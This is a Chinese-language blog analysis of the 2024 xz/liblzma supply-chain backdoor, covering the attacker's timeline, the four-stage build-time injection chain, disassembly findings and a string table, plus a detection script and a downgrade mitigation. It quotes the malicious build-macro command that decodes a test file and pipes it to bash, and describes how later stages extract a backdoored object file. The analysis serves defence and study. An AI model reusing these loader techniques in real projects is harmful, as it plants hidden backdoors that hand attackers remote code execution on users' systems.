2024年3月29日,微软PostgreSQL开发人员Andres Freund在调查SSH性能问题时,发现xz库供应链攻击事件并报告给 oss-security。
攻击者Jia Tan( JiaT75 ) 于 2021 年注册了 GitHub 账号,之后积极参与 XZ Utils 项目的维护,并逐渐获取信任,获得了直接 commit 代码的权利。JiaT75 在最近几个月的一次 commit 中,提交了恶意bad-3-corrupt_lzma2.xz 和 good-large_compressed.lzma的二进制测试文件,在编译链接的脚本中,特定条件下从这两个文件中恶意代码并植入,致使编译结果和公开的源代码不一致。
最终攻击者可以通过特定的数据包,绕过ssh登录认证,获取远程初始访问以及远程命令执行权限。
1.时间线
-
2021/01,攻击者Jia Tan注册GitHub账号(JiaT75)
-
2022/10,Jia Tan加入Tukaani项目组
-
2023,Jia Tan获取信任,拥有xz项目提交代码的权限
-
2024/03/08-03/20,提交恶意的bad-3-corrput_lzma2.xz和good-large_compressed.lzma测试文件
-
2024/03/29,微软PostgreSQL开发人员Andres Freund发现sshd的CPU占用率异常,发现xz/liblzma模块存在后门,并向oss-security报告此事。
2.攻击链路
xz库供应链攻击攻击事件,攻击链路如下:
-
第一阶段,恶意的build-to-host.m4编译宏还原恶意bad-3-corrupt_lzma2.xz数据,解压并执行下阶段载荷脚本
-
第二阶段,恶意脚本还原good-large_compressed.lzma数据,解压并执行下阶段载荷脚本
-
第三阶段,恶意脚本进行环境检查,提取预编译的64位liblzma_la-crc64-fast.o模块,修改crc64_fast.c源代码文件内容,注入恶意代码
-
第四阶段,恶意liblzma_la-crc64-fast.o链接生成恶意liblzma.so.5,动态链接到sshd程序,完成最终攻击链路
攻击链路图如下:
2.1 第一阶段m4编译宏脚本
恶意的build-to-host.m4编译宏文件中,包含grep命令通过正则#{4}[[:alnum:]]{5}#{4}$
匹配包含特定字符串(####Hello####)的文件名,即下阶段载荷的bad-3-corrupt_lzma2.xz文件。
-
水平制表符替换为空格
-
空格替换为水平制表符
-
减号替换为下划线
-
下划线替换为减号
sed "rn" ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "t -_" " t_-" | xz -d | /bin/bash >/dev/null 2>&1
2.2 第二阶段恶意脚本
第二阶段恶意脚本执行流程如下:
-
通过config.status文件,获取项目根目录
-
定义i变量,重复执行head命令来生成一个特定长度的输出
-
xz命令解压good-large_compressed.lzma文件后,先丢弃前1024个字节,然后输出接下来的2048个字节,然后再丢弃1024个字节,再输出2048个字节,如此循环多次,直到最后输出939个字节停止
-
tr命令替换特定范围的字符为0x00到0xFF
-
xz命令解压替换后的数据并执行下阶段载荷脚本
2.3 第三阶段恶意脚本
第三阶段恶意脚本执行流程如下:
-
对系统环境进行检查,若条件不成立则退出该流程。
-
通过对good-large_compressed.lzma数据进行解压后截取数据,生成恶意的liblzma_la-crc64-fast.o文件,
-
修改crc64_fast.c源代码文件内容调用liblzma_la-crc64-fast.o恶意函数,实现恶意代码注入。
xz命令解压good-large_compressed.lzma文件并将解压缩的内容输出到标准输出。使用sed命令将每个字符后面加上换行符(sed "s/(.)/1n/g")。
awk命令进行一系列复杂的操作,包括置换、代换等解密操作,再次使用xz命令解压缩处理后的内容。
最后根据条件截取前88792个字节或者0个字节处理后的内容,并将结果输出到liblzma_la-crc64-fast.o文件中,无论前面的命令是否成功,都将返回true。
攻击者利用GLIBC IFUNC(Indirect Function)特性,该特性允许开发者为同一个函数接口提供多个实现版本,并且能够在程序运行时判断最优系统环境及条件,动态选择最合适的版本来执行。
攻击者将crc64_fast.c,crc32_fast.c文件中调用is_arch_extension_supported()函数的代码,替换为调用恶意的_is_arch_extension_supported()内联函数,添加变量V中保存的恶意内联函数的定义代码。
根据sed和$CC等编译环境命令的执行结果来确定是否执行以上替换的操作。
2.4 第四阶段恶意目标文件
分析恶意liblzma_la-crc64-fast.o目标文件的导出_get_cpuid()函数,调用sub_A750()函数。
分析sub_A750()函数,liblzma库利用GCC IFUNC技术,在加载时加载器会调用resolver函数,crc32_resolve()和crc64_resolve()这两个函数均会调用_get_cpuid()。
crc32_resolve()调用时,dword_CB60由0变为1。
crc64_resolve()调用时,dword_CB60为1,后门程序会执行Llzma_block_param_encoder_0()函数。
分析Llzma_block_param_encoder_0()函数,发现可疑的Llzma_block_buffer_decode_0指针。
跟进Llzma_block_buffer_decode_0 + 2指针,发现记录的是_Llzma_delta_props_encoder()函数地址。
字符串ID | 字符串 |
---|---|
0x9f8 | 'systemx00' |
0x760 | 'shutdownx00' |
0x198 | 'unknownx00' |
0xb10 | 'user' |
0x380 | 'writex00' |
0x108 | '/usr/sbin/sshdx00' |
0x10 | 'xcalloc: zero sizex00' |
0xb00 | 'yolAbejyiejuvnup=Evjtgvsh5okmkAvjx00' |
0x300 | 'x7fELF' |
0x678 | ' ssh2' |
0xd8 | '%.48s:%.48s():%d (pid=%ld)x00' |
0x708 | '%s' |
0x870 | 'Accepted password for ' |
0x1a0 | 'Accepted publickey for ' |
0x8c0 | 'GLIBC_2.2.5x00' |
0x6a8 | 'GLRO(dl_naudit) <= nauditx00' |
0x1e0 | 'KRB5CCNAMEx00' |
0xcf0 | 'LD_AUDIT=' |
0xbc0 | 'LD_BIND_NOT=' |
0xa90 | 'LD_DEBUG=' |
0xb98 | 'LD_PROFILE=' |
0x3e0 | 'LD_USE_LOAD_BIAS=' |
0xa88 | 'LINES=' |
0xac0 | 'RSA_freex00' |
0x798 | 'RSA_get0_keyx00' |
0x918 | 'RSA_newx00' |
0x1d0 | 'RSA_public_decryptx00' |
0x540 | 'RSA_set0_keyx00' |
0x8f8 | 'RSA_signx00' |
0x990 | 'SSH-2.0' |
0x4a8 | 'TERM=' |
0x8a8 | '_exitx00' |
0xb8 | 'auth_root_allowedx00' |
0x1d8 | 'authenticating' |
0x28 | 'demote_sensitive_datax00' |
0x348 | 'getuidx00' |
0xa48 | 'ld-linux-x86-64.so' |
0x7d0 | 'libc.so' |
0x7c0 | 'libcrypto.so' |
0x590 | 'liblzma.so' |
0x938 | 'libsystemd.so' |
0x20 | 'list_hostkey_typesx00' |
0x440 | 'malloc_usable_sizex00' |
0xc58 | 'parse PAMx00' |
0x400 | 'passwordx00' |
0x4f0 | 'preauth' |
0x690 | 'pselectx00' |
0x7b8 | 'publickeyx00' |
0x308 | 'readx00' |
0x710 | 'rsa-sha2-256x00' |
0x428 | 'setlogmaskx00' |
0x5f0 | 'setresgidx00' |
0xab8 | 'setresuidx00' |
0xd08 | 'ssh-2.0' |
0x88 | 'sshpam_auth_passwdx00' |
0x90 | 'sshpam_queryx00' |
0x80 | 'sshpam_respondx00' |
0x98 | 'start_pamx00' |
liblzma 有一个内存分配层,其中利用lzma_alloc()和lzma_free()函数来调用分配器对象中的函数指针。
lzma_alloc()用来查找符号而不是分配,字符串 ID作为大小来查找函数指针,并且lzma_free()在释放时不执行任何操作。对于这个假分配器,其中某个成员指向内部 ELF 模块描述符记录。
通过对lzma_alloc()函数交叉引用搜索,发现几处获取关键函数指针赋值给全局ctx结构体:
Lmicrolzma_encoder_init_1()函数 ——> Llzma_delta_props_encode_part_0()函数中获取exit/setresgid/setresuid/system函数地址,保存在ctx对象中。
3.总结
此次供应链攻击事件,利用了GCC IFUNC机制,在程序正常的执行流程中,crc32_resolve()和crc64_resolve()函数,先后调用_get_cpuid()函数。恶意代码仅在_get_cpuid()函数第二次被调用时,才开始初始化,为了只影响特定的64位Linux系统。
当系统满足初始化条件,恶意代码通过直接修改内存中的数据结构,劫持程序的正常执行流程:
-
利用lzma_alloc()函数获取系统调用或关键函数地址指针,赋值给全局上下文结构体(ctx)
-
替换原始关键函数地址的指针,cpuid()函数的修改全局偏移表(GOT)条目为指向恶意函数地址的指针。
最终完成远程访问控制和远程代码执行的攻击。
4.检测方法
xz --version | grep '5.6.[01]'
set -eu
# find path to liblzma used by sshd
path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"
# does it even exist?
if [ "$path" == "" ]
then
echo probably not vulnerable
exit
fi
# check for function signature
if hexdump -ve '1/1 "%.2x"' "$path" | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410
then
echo probably vulnerable
else
echo probably not vulnerable
fi
5.缓解措施
sudo apt install xz-utils=5.2.5
reference
-
https://openwall.com/lists/oss-security/2024/03/29/4
-
https://github.com/karcherm/xz-malware
原文始发于微信公众号(TahirSec):Linux | xz/liblzma库供应链攻击事件分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论